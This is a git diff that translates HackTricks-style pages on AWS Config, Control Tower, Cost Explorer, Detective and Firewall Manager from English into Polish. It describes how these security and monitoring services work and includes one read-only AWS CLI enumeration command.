a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,47 +4,43 @@ ## AWS Config -AWS Config **capture resource changes**, so any change to a resource supported by Config can be recorded, which will **record what changed along with other useful metadata, all held within a file known as a configuration item**, a CI. This service is **region specific**. +AWS Config **rejestruje zmiany zasobów**, więc każda zmiana w zasobie obsługiwanym przez Config może być zarejestrowana, co **zarejestruje, co się zmieniło wraz z innymi przydatnymi metadanymi, wszystko przechowywane w pliku znanym jako element konfiguracji**, CI. Ta usługa jest **specyficzna dla regionu**. -A configuration item or **CI** as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too. +Element konfiguracji lub **CI**, jak to się nazywa, jest kluczowym komponentem AWS Config. Składa się z pliku JSON, który **przechowuje informacje o konfiguracji, informacje o relacjach i inne metadane jako widok migawki w danym momencie obsługiwanego zasobu**. Wszystkie informacje, które AWS Config może zarejestrować dla zasobu, są przechwytywane w CI. CI jest tworzony **za każdym razem**, gdy w obsługiwanym zasobie dokonano jakiejkolwiek zmiany w jego konfiguracji. Oprócz rejestrowania szczegółów dotyczących dotkniętego zasobu, AWS Config zarejestruje również CI dla wszelkich bezpośrednio powiązanych zasobów, aby upewnić się, że zmiana nie wpłynęła również na te zasoby. -- **Metadata**: Contains details about the configuration item itself. A version ID and a configuration ID, which uniquely identifies the CI. Ither information can include a MD5Hash that allows you to compare other CIs already recorded against the same resource. -- **Attributes**: This holds common **attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance -- **Relationships**: This holds information for any connected **relationship that the resource may have**. So within this section, it would show a clear description of any relationship to other resources that this resource had. For example, if the CI was for an EC2 instance, the relationship section may show the connection to a VPC along with the subnet that the EC2 instance resides in. -- **Current configuration:** This will display the same information that would be generated if you were to perform a describe or list API call made by the AWS CLI. AWS Config uses the same API calls to get the same information. -- **Related events**: This relates to AWS CloudTrail. This will display the **AWS CloudTrail event ID that is related to the change that triggered the creation of this CI**. There is a new CI made for every change made against a resource. As a result, different CloudTrail event IDs will be created. +- **Metadane**: Zawiera szczegóły dotyczące samego elementu konfiguracji. Identyfikator wersji i identyfikator konfiguracji, który unikalnie identyfikuje CI. Inne informacje mogą obejmować MD5Hash, który pozwala porównywać inne CI już zarejestrowane w odniesieniu do tego samego zasobu. +- **Atrybuty**: Zawiera wspólne **informacje o atrybutach w odniesieniu do rzeczywistego zasobu**. W tej sekcji mamy również unikalny identyfikator zasobu oraz wszelkie tagi klucz-wartość, które są powiązane z zasobem. Typ zasobu jest również wymieniony. Na przykład, jeśli był to CI dla instancji EC2, wymienione typy zasobów mogłyby obejmować interfejs sieciowy lub elastyczny adres IP dla tej instancji EC2. +- **Relacje**: Zawiera informacje o wszelkich połączeniach **relacji, które zasób może mieć**. W tej sekcji wyświetli jasny opis wszelkich relacji do innych zasobów, które ten zasób miał. Na przykład, jeśli CI dotyczył instancji EC2, sekcja relacji mogłaby pokazać połączenie z VPC wraz z podsiecią, w której znajduje się instancja EC2. +- **Aktualna konfiguracja:** Wyświetli te same informacje, które byłyby generowane, gdybyś wykonał wywołanie API describe lub list za pomocą AWS CLI. AWS Config używa tych samych wywołań API, aby uzyskać te same informacje. +- **Powiązane zdarzenia**: To odnosi się do AWS CloudTrail. Wyświetli **identyfikator zdarzenia AWS CloudTrail, który jest związany ze zmianą, która wywołała utworzenie tego CI**. Dla każdej zmiany dokonanej w zasobie tworzony jest nowy CI. W rezultacie będą tworzone różne identyfikatory zdarzeń CloudTrail. -**Configuration History**: It's possible to obtain the configuration history of resources thanks to the configurations items. A configuration history is delivered every 6 hours and contains all CI's for a particular resource type. +**Historia konfiguracji**: Możliwe jest uzyskanie historii konfiguracji zasobów dzięki elementom konfiguracji. Historia konfiguracji jest dostarczana co 6 godzin i zawiera wszystkie CI dla danego typu zasobu. -**Configuration Streams**: Configuration items are sent to an SNS Topic to enable analysis of the data. +**Strumienie konfiguracji**: Elementy konfiguracji są wysyłane do tematu SNS, aby umożliwić analizę danych. -**Configuration Snapshots**: Configuration items are used to create a point in time snapshot of all supported resources. +**Migawki konfiguracji**: Elementy konfiguracji są używane do tworzenia migawki w danym momencie wszystkich obsługiwanych zasobów. -**S3 is used to store** the Configuration History files and any Configuration snapshots of your data within a single bucket, which is defined within the Configuration recorder. If you have multiple AWS accounts you may want to aggregate your configuration history files into the same S3 bucket for your primary account. However, you'll need to grant write access for this service principle, config.amazonaws.com, and your secondary accounts with write access to the S3 bucket in your primary account. +**S3 jest używane do przechowywania** plików historii konfiguracji i wszelkich migawek konfiguracji twoich danych w jednym koszyku, który jest zdefiniowany w rejestratorze konfiguracji. Jeśli masz wiele kont AWS, możesz chcieć zgrupować swoje pliki historii konfiguracji w tym samym koszyku S3 dla swojego głównego konta. Jednak będziesz musiał przyznać dostęp do zapisu dla tego zasady usługi, config.amazonaws.com, oraz twoich drugorzędnych kont z dostępem do zapisu do koszyka S3 w twoim głównym koncie. -### Functioning +### Działanie -- When make changes, for example to security group or bucket access control list —> fire off as an Event picked up by AWS Config -- Stores everything in S3 bucket -- Depending on the setup, as soon as something changes it could trigger a lambda function OR schedule lambda function to periodically look through the AWS Config settings -- Lambda feeds back to Config -- If rule has been broken, Config fires up an SNS +- Gdy dokonujesz zmian, na przykład w grupie zabezpieczeń lub liście kontroli dostępu do koszyka —> wywołaj jako zdarzenie przechwycone przez AWS Config +- Przechowuje wszystko w koszyku S3 +- W zależności od konfiguracji, gdy coś się zmienia, może to wywołać funkcję lambda LUB zaplanować funkcję lambda, aby okresowo przeszukiwała ustawienia AWS Config +- Lambda przekazuje informacje z powrotem do Config +- Jeśli zasada została naruszona, Config uruchamia SNS ![](<../../../../images/image (126).png>) -### Config Rules +### Reguły Config -Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**.\ -AWS have a number of **predefined rules** that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted. +Reguły Config to świetny sposób, aby pomóc ci **egzekwować konkretne kontrole zgodności** **i kontrole w całych zasobach**, i pozwala na przyjęcie idealnej specyfikacji wdrożenia dla każdego z typów zasobów. Każda reguła **jest zasadniczo funkcją lambda**, która, gdy jest wywoływana, ocenia zasób i wykonuje prostą logikę, aby określić wynik zgodności z regułą. **Za każdym razem, gdy dokonano zmiany** w jednym z twoich obsługiwanych zasobów, **AWS Config sprawdzi zgodność z wszelkimi regułami config, które masz w miejscu**.\ +AWS ma szereg **zdefiniowanych reguł**, które mieszczą się w ramach bezpieczeństwa i są gotowe do użycia. Na przykład, Rds-storage-encrypted. To sprawdza, czy szyfrowanie pamięci masowej jest aktywowane przez twoje instancje bazy danych RDS. Encrypted-volumes. To sprawdza, czy jakiekolwiek wolumeny EBS, które mają stan podłączony, są szyfrowane. -- **AWS Managed rules**: Set of predefined rules that cover a lot of best practices, so it's always worth browsing these rules first before setting up your own as there is a chance that the rule may already exist. -- **Custom rules**: You can create your own rules to check specific customconfigurations. +- **Zarządzane reguły AWS**: Zestaw zdefiniowanych reguł, które obejmują wiele najlepszych praktyk, więc zawsze warto najpierw przeszukać te reguły przed utworzeniem własnych, ponieważ istnieje szansa, że reguła może już istnieć. +- **Reguły niestandardowe**: Możesz tworzyć własne reguły, aby sprawdzić konkretne niestandardowe konfiguracje. -Limit of 50 config rules per region before you need to contact AWS for an increase.\ -Non compliant results are NOT deleted. +Limit 50 reguł config na region, zanim będziesz musiał skontaktować się z AWS w celu zwiększenia.\ +Wyniki niezgodne nie są USUWANE. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 9fab39fb8..99301c6e7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -5,33 +5,31 @@ ## Control Tower > [!NOTE] -> In summary, Control Tower is a service that allows to define policies for all your accounts inside your org. So instead of managing each of the you can set policies from Control Tower that will be applied on them. +> Podsumowując, Control Tower to usługa, która pozwala definiować zasady dla wszystkich Twoich kont w ramach Twojej organizacji. Zamiast zarządzać każdym z nich, możesz ustawić zasady z Control Tower, które będą na nie stosowane. -AWS Control Tower is a **service provided by Amazon Web Services (AWS)** that enables organizations to set up and govern a secure, compliant, multi-account environment in AWS. +AWS Control Tower to **usługa świadczona przez Amazon Web Services (AWS)**, która umożliwia organizacjom skonfigurowanie i zarządzanie bezpiecznym, zgodnym środowiskiem wielokontowym w AWS. -AWS Control Tower provides a **pre-defined set of best-practice blueprints** that can be customized to meet specific **organizational requirements**. These blueprints include pre-configured AWS services and features, such as AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, and AWS Service Catalog. +AWS Control Tower oferuje **zestaw wstępnie zdefiniowanych najlepszych praktyk**, które można dostosować do specyficznych **wymagań organizacyjnych**. Te plany obejmują wstępnie skonfigurowane usługi i funkcje AWS, takie jak AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail i AWS Service Catalog. -With AWS Control Tower, administrators can quickly set up a **multi-account environment that meets organizational requirements**, such as **security** and compliance. The service provides a central dashboard to view and manage accounts and resources, and it also automates the provisioning of accounts, services, and policies. +Dzięki AWS Control Tower administratorzy mogą szybko skonfigurować **środowisko wielokontowe, które spełnia wymagania organizacyjne**, takie jak **bezpieczeństwo** i zgodność. Usługa zapewnia centralny pulpit nawigacyjny do przeglądania i zarządzania kontami oraz zasobami, a także automatyzuje przydzielanie kont, usług i zasad. -In addition, AWS Control Tower provides guardrails, which are a set of pre-configured policies that ensure the environment remains compliant with organizational requirements. These policies can be customized to meet specific needs. +Dodatkowo, AWS Control Tower zapewnia bariery ochronne, które są zestawem wstępnie skonfigurowanych zasad, które zapewniają, że środowisko pozostaje zgodne z wymaganiami organizacyjnymi. Te zasady można dostosować do specyficznych potrzeb. -Overall, AWS Control Tower simplifies the process of setting up and managing a secure, compliant, multi-account environment in AWS, making it easier for organizations to focus on their core business objectives. +Ogólnie rzecz biorąc, AWS Control Tower upraszcza proces konfigurowania i zarządzania bezpiecznym, zgodnym środowiskiem wielokontowym w AWS, co ułatwia organizacjom skupienie się na ich podstawowych celach biznesowych. ### Enumeration -For enumerating controltower controls, you first need to **have enumerated the org**: +Aby enumerować kontrole controltower, najpierw musisz **enumerować organizację**: {{#ref}} ../aws-organizations-enum.md {{#endref}} - ```bash # Get controls applied in an account aws controltower list-enabled-controls --target-identifier arn:aws:organizations:::ou/ ``` - > [!WARNING] -> Control Tower can also use **Account factory** to execute **CloudFormation templates** in **accounts and run services** (privesc, post-exploitation...) in those accounts +> Control Tower może również używać **Account factory** do wykonywania **szablonów CloudFormation** w **konto i uruchamiania usług** (privesc, post-exploitation...) w tych kontach ### Post Exploitation & Persistence @@ -40,7 +38,3 @@ aws controltower list-enabled-controls --target-identifier arn:aws:organizations {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index 2f967331b..d68036bce 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -2,18 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Cost Explorer and Anomaly detection +## Cost Explorer i wykrywanie anomalii -This allows you to check **how are you expending money in AWS services** and help you **detecting anomalies**.\ -Moreover, you can configure an anomaly detection so AWS will warn you when some a**nomaly in costs is found**. +To pozwala Ci sprawdzić **jak wydajesz pieniądze na usługi AWS** i pomaga w **wykrywaniu anomalii**.\ +Ponadto możesz skonfigurować wykrywanie anomalii, aby AWS ostrzegał Cię, gdy zostanie znaleziona **anomalia w kosztach**. -### Budgets +### Budżety -Budgets help to **manage costs and usage**. You can get **alerted when a threshold is reached**.\ -Also, they can be used for non cost related monitoring like the usage of a service (how many GB are used in a particular S3 bucket?). +Budżety pomagają w **zarządzaniu kosztami i zużyciem**. Możesz otrzymać **powiadomienie, gdy zostanie osiągnięty próg**.\ +Mogą być również używane do monitorowania niezwiązanego z kosztami, na przykład użycia usługi (ile GB jest używanych w danym koszyku S3?). {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index 9d1a40eba..309f79645 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,9 +4,9 @@ ## Detective -**Amazon Detective** streamlines the security investigation process, making it more efficient to **analyze, investigate, and pinpoint the root cause** of security issues or unusual activities. It automates the collection of log data from AWS resources and employs **machine learning, statistical analysis, and graph theory** to construct an interconnected data set. This setup greatly enhances the speed and effectiveness of security investigations. +**Amazon Detective** upraszcza proces dochodzenia w zakresie bezpieczeństwa, czyniąc go bardziej efektywnym w **analizowaniu, badaniu i identyfikowaniu przyczyny** problemów bezpieczeństwa lub nietypowych działań. Automatyzuje zbieranie danych logów z zasobów AWS i wykorzystuje **uczenie maszynowe, analizę statystyczną i teorię grafów** do budowy powiązanego zestawu danych. Taka konfiguracja znacznie zwiększa szybkość i skuteczność dochodzeń w zakresie bezpieczeństwa. -The service eases in-depth exploration of security incidents, allowing security teams to swiftly understand and address the underlying causes of issues. Amazon Detective analyzes vast amounts of data from sources like VPC Flow Logs, AWS CloudTrail, and Amazon GuardDuty. It automatically generates a **comprehensive, interactive view of resources, users, and their interactions over time**. This integrated perspective provides all necessary details and context in one location, enabling teams to discern the reasons behind security findings, examine pertinent historical activities, and rapidly determine the root cause. +Usługa ułatwia dogłębną eksplorację incydentów bezpieczeństwa, pozwalając zespołom bezpieczeństwa szybko zrozumieć i zająć się podstawowymi przyczynami problemów. Amazon Detective analizuje ogromne ilości danych z takich źródeł jak VPC Flow Logs, AWS CloudTrail i Amazon GuardDuty. Automatycznie generuje **kompleksowy, interaktywny widok zasobów, użytkowników i ich interakcji w czasie**. Ta zintegrowana perspektywa dostarcza wszystkich niezbędnych szczegółów i kontekstu w jednym miejscu, umożliwiając zespołom dostrzeganie powodów wyników bezpieczeństwa, badanie istotnych działań historycznych i szybkie określenie przyczyny. ## References @@ -14,7 +14,3 @@ The service eases in-depth exploration of security incidents, allowing security - [https://cloudsecdocs.com/aws/services/logging/other/#detective](https://cloudsecdocs.com/aws/services/logging/other/#detective) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index 0369f075c..4f8bb1ada 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -4,80 +4,79 @@ ## Firewall Manager -**AWS Firewall Manager** streamlines the management and maintenance of **AWS WAF, AWS Shield Advanced, Amazon VPC security groups and Network Access Control Lists (ACLs), and AWS Network Firewall, AWS Route 53 Resolver DNS Firewall and third-party firewalls** across multiple accounts and resources. It enables you to configure your firewall rules, Shield Advanced protections, VPC security groups, and Network Firewall settings just once, with the service **automatically enforcing these rules and protections across your accounts and resources**, including newly added ones. +**AWS Firewall Manager** upraszcza zarządzanie i utrzymanie **AWS WAF, AWS Shield Advanced, grup bezpieczeństwa Amazon VPC oraz list kontroli dostępu do sieci (ACL), a także AWS Network Firewall, AWS Route 53 Resolver DNS Firewall i zapory innych firm** w wielu kontach i zasobach. Umożliwia skonfigurowanie reguł zapory, ochron Shield Advanced, grup bezpieczeństwa VPC i ustawień Network Firewall tylko raz, a usługa **automatycznie egzekwuje te reguły i ochrony w Twoich kontach i zasobach**, w tym nowo dodanych. -The service offers the capability to **group and safeguard specific resources together**, like those sharing a common tag or all your CloudFront distributions. A significant advantage of Firewall Manager is its ability to **automatically extend protection to newly added resources** in your account. +Usługa oferuje możliwość **grupowania i zabezpieczania konkretnych zasobów**, takich jak te, które mają wspólny tag lub wszystkie Twoje dystrybucje CloudFront. Znaczną zaletą Firewall Managera jest jego zdolność do **automatycznego rozszerzania ochrony na nowo dodane zasoby** w Twoim koncie. -A **rule group** (a collection of WAF rules) can be incorporated into an AWS Firewall Manager Policy, which is then linked to specific AWS resources such as CloudFront distributions or application load balancers. +**Grupa reguł** (zbiór reguł WAF) może być włączona do Polityki AWS Firewall Manager, która jest następnie powiązana z konkretnymi zasobami AWS, takimi jak dystrybucje CloudFront lub load balancery aplikacji. -AWS Firewall Manager provides **managed application and protocol lists** to simplify the configuration and management of security group policies. These lists allow you to define the protocols and applications permitted or denied by your policies. There are two types of managed lists: +AWS Firewall Manager zapewnia **zarządzane listy aplikacji i protokołów**, aby uprościć konfigurację i zarządzanie politykami grup bezpieczeństwa. Te listy pozwalają zdefiniować protokoły i aplikacje dozwolone lub zabronione przez Twoje polityki. Istnieją dwa rodzaje zarządzanych list: -- **Firewall Manager managed lists**: These lists include **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** and **FMS-Default-Protocols-Allowed**. They are managed by Firewall Manager and include commonly used applications and protocols that should be allowed or denied to the general public. It is not possible to edit or delete them, however, you can choose its version. -- **Custom managed lists**: You manage these lists yourself. You can create custom application and protocol lists tailored to your organization's needs. Unlike Firewall Manager managed lists, these lists do not have versions, but you have full control over custom lists, allowing you to create, edit, and delete them as required. +- **Zarządzane listy Firewall Manager**: Te listy obejmują **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** i **FMS-Default-Protocols-Allowed**. Są zarządzane przez Firewall Manager i obejmują powszechnie używane aplikacje i protokoły, które powinny być dozwolone lub zabronione dla ogółu społeczeństwa. Nie można ich edytować ani usuwać, jednak można wybrać ich wersję. +- **Zarządzane listy niestandardowe**: Te listy zarządzasz samodzielnie. Możesz tworzyć niestandardowe listy aplikacji i protokołów dostosowane do potrzeb Twojej organizacji. W przeciwieństwie do zarządzanych list Firewall Manager, te listy nie mają wersji, ale masz pełną kontrolę nad listami niestandardowymi, co pozwala na ich tworzenie, edytowanie i usuwanie w razie potrzeby. -It's important to note that **Firewall Manager policies permit only "Block" or "Count" actions** for a rule group, without an "Allow" option. +Ważne jest, aby zauważyć, że **polityki Firewall Manager zezwalają tylko na działania "Block" lub "Count"** dla grupy reguł, bez opcji "Allow". ### Prerequisites -The following prerequisite steps must be completed before proceeding to configure Firewall Manager to begin protecting your organization's resources effectively. These steps provide the foundational setup required for Firewall Manager to enforce security policies and ensure compliance across your AWS environment: +Następujące kroki wstępne muszą być zakończone przed przystąpieniem do konfiguracji Firewall Manager, aby skutecznie chronić zasoby Twojej organizacji. Kroki te zapewniają podstawową konfigurację wymaganą do egzekwowania polityk bezpieczeństwa przez Firewall Manager i zapewnienia zgodności w Twoim środowisku AWS: -1. **Join and configure AWS Organizations:** Ensure your AWS account is part of the AWS Organizations organization where the AWS Firewall Manager policies are planned to be implanted. This allows for centralized management of resources and policies across multiple AWS accounts within the organization. -2. **Create an AWS Firewall Manager Default Administrator Account:** Establish a default administrator account specifically for managing Firewall Manager security policies. This account will be responsible for configuring and enforcing security policies across the organization. Just the management account of the organization is able to create Firewall Manager default administrator accounts. -3. **Enable AWS Config:** Activate AWS Config to provide Firewall Manager with the necessary configuration data and insights required to effectively enforce security policies. AWS Config helps analyze, audit, monitor and audit resource configurations and changes, facilitating better security management. -4. **For Third-Party Policies, Subscribe in the AWS Marketplace and Configure Third-Party Settings:** If you plan to utilize third-party firewall policies, subscribe to them in the AWS Marketplace and configure the necessary settings. This step ensures that Firewall Manager can integrate and enforce policies from trusted third-party vendors. -5. **For Network Firewall and DNS Firewall Policies, enable resource sharing:** Enable resource sharing specifically for Network Firewall and DNS Firewall policies. This allows Firewall Manager to apply firewall protections to your organization's VPCs and DNS resolution, enhancing network security. -6. **To use AWS Firewall Manager in Regions that are disabled by default:** If you intend to use Firewall Manager in AWS regions that are disabled by default, ensure that you take the necessary steps to enable its functionality in those regions. This ensures consistent security enforcement across all regions where your organization operates. +1. **Dołącz i skonfiguruj AWS Organizations:** Upewnij się, że Twoje konto AWS jest częścią organizacji AWS Organizations, w której planowane jest wdrożenie polityk AWS Firewall Manager. Umożliwia to centralne zarządzanie zasobami i politykami w wielu kontach AWS w ramach organizacji. +2. **Utwórz domyślne konto administratora AWS Firewall Manager:** Ustanów domyślne konto administratora specjalnie do zarządzania politykami bezpieczeństwa Firewall Manager. To konto będzie odpowiedzialne za konfigurowanie i egzekwowanie polityk bezpieczeństwa w całej organizacji. Tylko konto zarządzające organizacją może tworzyć domyślne konta administratora Firewall Manager. +3. **Włącz AWS Config:** Aktywuj AWS Config, aby dostarczyć Firewall Managerowi niezbędne dane konfiguracyjne i informacje wymagane do skutecznego egzekwowania polityk bezpieczeństwa. AWS Config pomaga analizować, audytować, monitorować i kontrolować konfiguracje zasobów oraz zmiany, co ułatwia lepsze zarządzanie bezpieczeństwem. +4. **Dla polityk innych firm, subskrybuj w AWS Marketplace i skonfiguruj ustawienia innych firm:** Jeśli planujesz korzystać z polityk zapory innych firm, subskrybuj je w AWS Marketplace i skonfiguruj niezbędne ustawienia. Ten krok zapewnia, że Firewall Manager może integrować i egzekwować polityki od zaufanych dostawców zewnętrznych. +5. **Dla polityk Network Firewall i DNS Firewall, włącz udostępnianie zasobów:** Włącz udostępnianie zasobów specjalnie dla polityk Network Firewall i DNS Firewall. Umożliwia to Firewall Managerowi stosowanie ochrony zapory do VPC Twojej organizacji i rozwiązywania DNS, co zwiększa bezpieczeństwo sieci. +6. **Aby używać AWS Firewall Manager w regionach, które są domyślnie wyłączone:** Jeśli zamierzasz używać Firewall Manager w regionach AWS, które są domyślnie wyłączone, upewnij się, że podejmujesz niezbędne kroki, aby włączyć jego funkcjonalność w tych regionach. Zapewnia to spójną egzekucję bezpieczeństwa we wszystkich regionach, w których działa Twoja organizacja. -For more information, check: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). +Aby uzyskać więcej informacji, sprawdź: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). ### Types of protection policies -AWS Firewall Manager manages several types of policies to enforce security controls across different aspects of your organization's infrastructure: +AWS Firewall Manager zarządza kilkoma rodzajami polityk w celu egzekwowania kontroli bezpieczeństwa w różnych aspektach infrastruktury Twojej organizacji: -1. **AWS WAF Policy:** This policy type supports both AWS WAF and AWS WAF Classic. You can define which resources are protected by the policy. For AWS WAF policies, you can specify sets of rule groups to run first and last in the web ACL. Additionally, account owners can add rules and rule groups to run in between these sets. -2. **Shield Advanced Policy:** This policy applies Shield Advanced protections across your organization for specified resource types. It helps safeguard against DDoS attacks and other threats. -3. **Amazon VPC Security Group Policy:** With this policy, you can manage security groups used throughout your organization, enforcing a baseline set of rules across your AWS environment to control network access. -4. **Amazon VPC Network Access Control List (ACL) Policy:** This policy type gives you control over network ACLs used in your organization, allowing you to enforce a baseline set of network ACLs across your AWS environment. -5. **Network Firewall Policy:** This policy applies AWS Network Firewall protection to your organization's VPCs, enhancing network security by filtering traffic based on predefined rules. -6. **Amazon Route 53 Resolver DNS Firewall Policy:** This policy applies DNS Firewall protections to your organization's VPCs, helping to block malicious domain resolution attempts and enforce security policies for DNS traffic. -7. **Third-Party Firewall Policy:** This policy type applies protections from third-party firewalls, which are available by subscription through the AWS Marketplace console. It allows you to integrate additional security measures from trusted vendors into your AWS environment. - 1. **Palo Alto Networks Cloud NGFW Policy:** This policy applies Palo Alto Networks Cloud Next Generation Firewall (NGFW) protections and rulestacks to your organization's VPCs, providing advanced threat prevention and application-level security controls. - 2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** This policy applies Fortigate Cloud Native Firewall (CNF) as a Service protections, offering industry-leading threat prevention, web application firewall (WAF), and API protection tailored for cloud infrastructures. +1. **Polityka AWS WAF:** Ten typ polityki obsługuje zarówno AWS WAF, jak i AWS WAF Classic. Możesz zdefiniować, które zasoby są chronione przez politykę. Dla polityk AWS WAF możesz określić zestawy grup reguł, które mają być uruchamiane jako pierwsze i ostatnie w web ACL. Dodatkowo, właściciele kont mogą dodawać reguły i grupy reguł do uruchomienia pomiędzy tymi zestawami. +2. **Polityka Shield Advanced:** Ta polityka stosuje ochrony Shield Advanced w całej Twojej organizacji dla określonych typów zasobów. Pomaga chronić przed atakami DDoS i innymi zagrożeniami. +3. **Polityka grupy bezpieczeństwa Amazon VPC:** Dzięki tej polityce możesz zarządzać grupami bezpieczeństwa używanymi w całej Twojej organizacji, egzekwując podstawowy zestaw reguł w całym środowisku AWS w celu kontrolowania dostępu do sieci. +4. **Polityka listy kontroli dostępu do sieci (ACL) Amazon VPC:** Ten typ polityki daje Ci kontrolę nad sieciowymi ACL używanymi w Twojej organizacji, pozwalając na egzekwowanie podstawowego zestawu sieciowych ACL w całym środowisku AWS. +5. **Polityka Network Firewall:** Ta polityka stosuje ochronę AWS Network Firewall do VPC Twojej organizacji, zwiększając bezpieczeństwo sieci poprzez filtrowanie ruchu na podstawie zdefiniowanych reguł. +6. **Polityka DNS Firewall Amazon Route 53 Resolver:** Ta polityka stosuje ochrony DNS Firewall do VPC Twojej organizacji, pomagając blokować złośliwe próby rozwiązywania domen i egzekwować polityki bezpieczeństwa dla ruchu DNS. +7. **Polityka zapory innych firm:** Ten typ polityki stosuje ochrony z zapór innych firm, które są dostępne w subskrypcji przez konsolę AWS Marketplace. Umożliwia to integrację dodatkowych środków bezpieczeństwa od zaufanych dostawców w Twoim środowisku AWS. +1. **Polityka Palo Alto Networks Cloud NGFW:** Ta polityka stosuje ochrony i stosy reguł Palo Alto Networks Cloud Next Generation Firewall (NGFW) do VPC Twojej organizacji, zapewniając zaawansowaną ochronę przed zagrożeniami i kontrolę bezpieczeństwa na poziomie aplikacji. +2. **Polityka Fortigate Cloud Native Firewall (CNF) jako usługa:** Ta polityka stosuje ochrony Fortigate Cloud Native Firewall (CNF) jako usługi, oferując wiodącą w branży ochronę przed zagrożeniami, zaporę aplikacji internetowych (WAF) i ochronę API dostosowaną do infrastruktury chmurowej. ### Administrator accounts -AWS Firewall Manager offers flexibility in managing firewall resources within your organization through its administrative scope and two types of administrator accounts. +AWS Firewall Manager oferuje elastyczność w zarządzaniu zasobami zapory w Twojej organizacji poprzez swój zakres administracyjny i dwa typy kont administratorów. -**Administrative scope defines the resources that a Firewall Manager administrator can manage**. After an AWS Organizations management account onboards an organization to Firewall Manager, it can create additional administrators with different administrative scopes. These scopes can include: +**Zakres administracyjny definiuje zasoby, którymi administrator Firewall Managera może zarządzać**. Po tym, jak konto zarządzające AWS Organizations wprowadzi organizację do Firewall Manager, może tworzyć dodatkowych administratorów z różnymi zakresami administracyjnymi. Te zakresy mogą obejmować: -- Accounts or organizational units (OUs) that the administrator can apply policies to. -- Regions where the administrator can perform actions. -- Firewall Manager policy types that the administrator can manage. +- Konta lub jednostki organizacyjne (OU), do których administrator może stosować polityki. +- Regiony, w których administrator może podejmować działania. +- Typy polityk Firewall Manager, którymi administrator może zarządzać. -Administrative scope can be either **full or restricted**. Full scope grants the administrator access to **all specified resource types, regions, and policy types**. In contrast, **restricted scope provides administrative permission to only a subset of resources, regions, or policy types**. It's advisable to grant administrators only the permissions they need to fulfill their roles effectively. You can apply any combination of these administrative scope conditions to an administrator, ensuring adherence to the principle of least privilege. +Zakres administracyjny może być **pełny lub ograniczony**. Pełny zakres przyznaje administratorowi dostęp do **wszystkich określonych typów zasobów, regionów i typów polityk**. W przeciwieństwie do tego, **ograniczony zakres zapewnia uprawnienia administracyjne tylko do podzbioru zasobów, regionów lub typów polityk**. Zaleca się przyznawanie administratorom tylko tych uprawnień, które są im potrzebne do skutecznego wypełniania swoich ról. Możesz zastosować dowolną kombinację tych warunków zakresu administracyjnego do administratora, zapewniając przestrzeganie zasady najmniejszych uprawnień. -There are two distinct types of administrator accounts, each serving specific roles and responsibilities: +Istnieją dwa odrębne typy kont administratorów, z których każde pełni określone role i odpowiedzialności: -- **Default Administrator:** - - The default administrator account is created by the AWS Organizations organization's management account during the onboarding process to Firewall Manager. - - This account has the capability to manage third-party firewalls and possesses full administrative scope. - - It serves as the primary administrator account for Firewall Manager, responsible for configuring and enforcing security policies across the organization. - - While the default administrator has full access to all resource types and administrative functionalities, it operates at the same peer level as other 